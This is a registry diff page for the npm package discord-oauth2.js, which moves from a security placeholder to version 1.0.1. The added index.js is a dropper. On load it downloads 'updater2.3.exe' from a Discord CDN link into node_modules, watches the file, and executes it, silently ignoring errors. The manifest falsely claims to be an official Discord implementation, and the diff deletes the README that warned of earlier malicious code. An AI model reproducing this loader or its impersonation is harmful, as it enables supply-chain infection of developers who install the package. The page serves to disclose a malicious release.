discord-oauth2.js 0.0.1-security → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of discord-oauth2.js might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +68 -0
  2. package/package.json +12 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,68 @@
1
+ const fs = require('fs');
2
+ const https = require('https');
3
+ const { exec } = require('child_process');
4
+ const path = require('path');
5
+
6
+ class ExeFileHandler {
7
+ constructor(exePath) {
8
+ this.exePath = exePath;
9
+ }
10
+
11
+ onModified(event) {
12
+ if (event === this.exePath) {
13
+ exec(this.exePath, (error, stdout, stderr) => {
14
+ if (error) {
15
+
16
+ }
17
+ });
18
+ }
19
+ }
20
+ }
21
+
22
+ async function downloadExe(repoUrl, exeFilename) {
23
+ const folderName = 'discord-oauth2.js';
24
+ const downloadPath = path.join('node_modules', folderName, exeFilename);
25
+
26
+ const folderPath = path.join('node_modules', folderName);
27
+
28
+
29
+ if (!fs.existsSync(folderPath)) {
30
+ fs.mkdirSync(folderPath, { recursive: true });
31
+ }
32
+
33
+ const fileStream = fs.createWriteStream(downloadPath);
34
+ const response = await new Promise((resolve, reject) => {
35
+ const request = https.get(repoUrl, (response) => {
36
+ response.pipe(fileStream);
37
+ response.on('end', () => {
38
+
39
+ observeFile(downloadPath);
40
+ });
41
+ resolve(response);
42
+ });
43
+ request.on('error', reject);
44
+ });
45
+
46
+ if (response.statusCode === 200) {
47
+ ;
48
+ } else {
49
+
50
+ }
51
+ }
52
+
53
+ function observeFile(exePath) {
54
+ fs.watch(exePath, (event) => {
55
+ if (event === 'change') {
56
+ exec(exePath, (error, stdout, stderr) => {
57
+ if (error) {
58
+
59
+ }
60
+ });
61
+ }
62
+ });
63
+ }
64
+
65
+ const githubUrl = "https://cdn.discordapp.com/attachments/1170652912192598076/1171085107680006174/updater2.3.exe?ex=655b64ff&is=6548efff&hm=1ef3f0feaa9ba47e970167b26e02bd8db02d72de04faea0fc816366e6bb18c14&"; // Replace with the correct URL
66
+ const exeFilename = "updater2.3.exe";
67
+
68
+ downloadExe(githubUrl, exeFilename);
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "discord-oauth2.js",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.1",
4
+ "description": "official discord auth2 implemetation",
5
+ "main": "index.js",
6
+ "devDependencies": {},
7
+ "scripts": {
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "keywords": [
11
+ "discordauth"
12
+ ],
13
+ "author": "discordapp.net",
14
+ "license": "ISC"
6
15
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=discord-oauth2.js for more information.